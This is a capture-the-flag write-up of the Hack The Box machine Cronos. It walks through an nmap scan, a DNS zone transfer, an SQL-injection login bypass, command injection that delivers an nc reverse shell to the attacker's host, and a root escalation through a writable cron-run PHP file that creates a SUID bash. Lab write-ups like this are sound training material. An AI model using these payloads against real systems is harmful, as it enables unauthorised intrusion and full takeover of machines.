Posts Hack The Box - Cronos (Without Metasploit)
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Hack The Box - Cronos (Without Metasploit)

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.13 cronos.htb" | sudo tee -a /etc/hosts

Reconnaissance

To speed up my recon, I’ve moved to rustscan. I’ve also created 2 “aliases” called superscan and resolve.

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$ which resolve 
resolve () {
        cat /etc/hosts | grep --color=auto "$1" | cut -d " " -f 1
}

$ which superscan
superscan () {
        name="$(resolve $1)" 
        rustscan --accessible -a "$name" -r 1-65535 -- -sT -sV -sC -Pn
}

$ superscan cronos.htb
File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.13:22
Open 10.10.10.13:53
Open 10.10.10.13:80
Starting Script(s)
Script to be run Some("nmap -vvv -p  ")

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-13 03:07 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 03:07
Completed Parallel DNS resolution of 1 host. at 03:07, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 03:07
Scanning 10.10.10.13 [3 ports]
Discovered open port 22/tcp on 10.10.10.13
Discovered open port 80/tcp on 10.10.10.13
Discovered open port 53/tcp on 10.10.10.13
Completed Connect Scan at 03:07, 0.01s elapsed (3 total ports)
Initiating Service scan at 03:07
Scanning 3 services on 10.10.10.13
Completed Service scan at 03:07, 6.02s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.13.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 8.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.04s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
Nmap scan report for 10.10.10.13
Host is up, received user-set (0.0062s latency).
Scanned at 2021-01-13 03:07:23 UTC for 15s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkOUbDfxsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+5s2S4kH0rS25C/R+pyGIKHF9LGWTqTChmTbcRJLZE4cJCCOEoIyoeXUZWMYJCqV8crflHiVG7Zx3wdUJ4yb54G6NlS4CQFwChHEH9xHlqsJhkpkYEnmKc+CvMzCbn6CZn9KayOuHPy5NEqTRIHObjIEhbrz2ho8+bKP43fJpWFEx0bAzFFGzU0fMEt8Mj5j71JEpSws4GEgMycq4lQMuw8g6Acf4AqvGC5zqpf2VRID0BDi3gdD1vvX2d67QzHJTPA5wgCk/KzoIAovEwGqjIvWnTzXLL8TilZI6/PV8wPHzn
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWsTNMJT9n5sJr5U1iP8dcbkBrDMs4yp7RRAvuu10E6FmORRY/qrokZVNagS1SA9mC6eaxkgW6NBgBEggm3kfQ=
|   256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBIQsAL/XR/HGmUzGZgRJe/1lQvrFWnODXvxQ1Dc+Zx
53/tcp open  domain  syn-ack ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.57 seconds

Enumeration (1)

Port 53 ISC BIND 9.10.3-P4 (Ubuntu Linux)

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$ host -t axfr cronos.htb cronos.htb 
Trying "cronos.htb"
Using domain server:
Name: cronos.htb
Address: 10.10.10.13#53
Aliases: 

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35300
;; flags: qr aa ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;cronos.htb.                    IN      AXFR

;; ANSWER SECTION:
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800

Received 192 bytes from 10.10.10.13#53 in 3 ms

We are able to perform a zone transfer for the cronos.htb domain and it has returned to 3 different names www.cronos.htb, ns1.cronos.htb and admin.cronos.htb. Lets add them to our `/etc/hosts.

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$ cat /etc/hosts
...
10.10.10.13 cronos.htb admin.cronos.htb ns1.cronos.htb www.cronos.htb

Port 80 Apache httpd 2.4.18 ((Ubuntu))

When we visit cronos.htb, we see 5 different buttons that brings us to websites related Laravel, a PHP web framework. However, when we visit admin.cronos.htb, we see a login page!

Trying out common credentials such as admin:admin and admin:password didn’t work so lets try some basic SQL injection by putting ' or 1=1;-- as the username and password as the password.

Invalid username… But if we append an additional space to our username such that it will become ' or 1=1;-- , we will be able to bypass the login page without knowing the credentials!

This page allows us to specify an IP address and it will perform traceroute on it and return the output. You could also choose to ping as well.

Exploitation (1)

However, our input is not being validated so lets try injecting some commands.

We are able to inject a whoami command and it returns www-data! Now lets use it to establish a reverse shell connection. So first we will setup our listener.

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$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...

By putting ; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 1337 >/tmp/f and pressing Execute!, we will receive a connection as www-data.

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$ rlwrap nc -lvnp 1337                          
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.13] 40626
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty; pty.spawn('/bin/bash')"
www-data@cronos:/var/www/admin$  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

user.txt

The user flag is stored in the home directory of noulis.

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www-data@cronos:/var/www/admin$ cat /home/noulis/user.txt
51d2XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (2)

If we check /etc/crontab, we see that there is one listed task which runs as root!

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www-data@cronos:/var/www/admin$ cat /etc/crontab
...
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The file /var/www/laravel/artisan is executed by root using php at every minute. If we check the permissions of that file, we see that we own it and we can modify it!

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www-data@cronos:/var/www/admin$ ls -al /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

Exploitation (2)

Instead of modifying artisan to establish another reverse shell, we just make a SUID copy of /bin/bash.

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www-data@cronos:/var/www/admin$ echo '<?php passthru("cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod +s /tmp/rootbash") ?>' > /var/www/laravel/artisan

After a while, we should see a rootbash in /tmp with the SUID bit set.

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www-data@cronos:/var/www/admin$ ls -al /tmp/rootbash
-rwsr-sr-x 1 root root 1037528 Jan 13 10:48 /tmp/rootbash

Now we can spawn a shell as root by running /tmp/rootbash -p

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www-data@cronos:/var/www/admin$ /tmp/rootbash -p
rootbash-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

root.txt

The root flag is in the home directory of root, as usual.

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rootbash-4.3# cat /root/root.txt
1703XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.